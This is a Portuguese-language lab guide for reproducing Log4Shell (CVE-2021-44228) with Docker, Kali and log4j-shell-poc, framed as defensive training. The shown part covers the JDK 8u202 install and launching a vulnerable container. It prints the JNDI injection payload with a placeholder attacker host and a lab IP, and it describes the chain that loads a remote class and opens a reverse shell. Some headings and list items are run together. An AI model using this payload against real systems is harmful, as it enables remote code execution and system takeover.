Laboratório prático para explorar e compreender o Log4Shell (CVE-2021-44228) usando Docker, Kali Linux, Burp Suite e log4j-shell-poc. Apenas para ensino e treinamento defensivo em ambientes de laboratório controlados.
O Log4Shell (CVE-2021-44228) é uma das vulnerabilidades de execução remota de código mais impactantes já divulgadas. Ela afeta o Apache Log4j 2, um framework de logging Java amplamente utilizado, e permite que atacantes executem código arbitrário ao abusar de lookups JNDI em mensagens de log.
Este guia fornece um laboratório de demonstração completo e reproduzível usando:
log4j-shell-pocEle foi projetado para ensino, pesquisa, treinamento e conscientização defensiva apenas em ambientes controlados. A estrutura e o estilo seguem o mesmo espírito do README do laboratório complementar “Shellshock”.
poc.py para Usar o JDK 1.8.0_202curlEste laboratório deve ser realizado apenas em um ambiente controlado onde você tenha autorização explícita (seu próprio laboratório, VMs de sala de aula, etc.).
Log4Shell (CVE-2021-44228) é uma vulnerabilidade crítica de RCE no Apache Log4j 2.
O problema surge porque versões vulneráveis do Log4j2 interpretam strings controladas pelo atacante, como:
${jndi:ldap://ATTACKER_IP:1389/a}
Quando essa string é registrada, o Log4j:
Neste laboratório, você irá:
log4j-shell-poc.curl e via Burp Suite.Ao final deste laboratório, você deverá ser capaz de:
Todos os componentes são executados sobre seu laboratório virtual existente. Para este guia, assumimos:
| Componente | Função / Descrição | Ferramentas / Serviços | Endereçamento de Exemplo |
|---|---|---|---|
| VM Kali Linux (Atacante + Host) | Executa o exploit PoC, servidor LDAP, servidor HTTP, listener Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (exemplo de IP do Kali) |
| Aplicativo web Log4j2 vulnerável | Alvo; aplicativo web Spring Boot vulnerável ao Log4Shell | Imagem Docker: ghcr.io/christophetd/log4shell-vulnerable-app | Exposto em http://127.0.0.1:8080 |
Ideia-chave
O atacante injeta:
${jndi:ldap://192.168.1.4:1389/a}
em um cabeçalho HTTP. O aplicativo vulnerável o registra usando Log4j2 → realiza um lookup JNDI LDAP para 192.168.1.4:1389 → baixa uma classe maliciosa de http://192.168.1.4:8000 → executa a classe, que abre um reverse shell de volta para 192.168.1.4:9001.
No Kali, você precisa de:
nc).Ao longo deste guia, assumimos que o IP do Kali é:
192.168.1.4
Se o seu IP for diferente, ajuste todos os comandos de acordo.
O PoC depende do Java SE 8 Update 202 (JDK 1.8.0_202) porque versões posteriores do Java restringem o comportamento de carregamento remoto de classes usado por este exploit.
Mesmo que o Kali já tenha o OpenJDK 21 (ou similar), você ainda precisa instalar o 8u202 separadamente.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Raiz do espelho:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Baixe o tarball Linux x64 (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # should be ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
A opção --strip-components=1 remove o diretório de nível superior do arquivo para que os arquivos sejam extraídos diretamente em /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Saída esperada:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Se você vir isso, o JDK 1.8.0_202 está instalado corretamente.
Em um novo terminal no Kali (você pode permanecer em ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Você deve ver logs semelhantes a:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...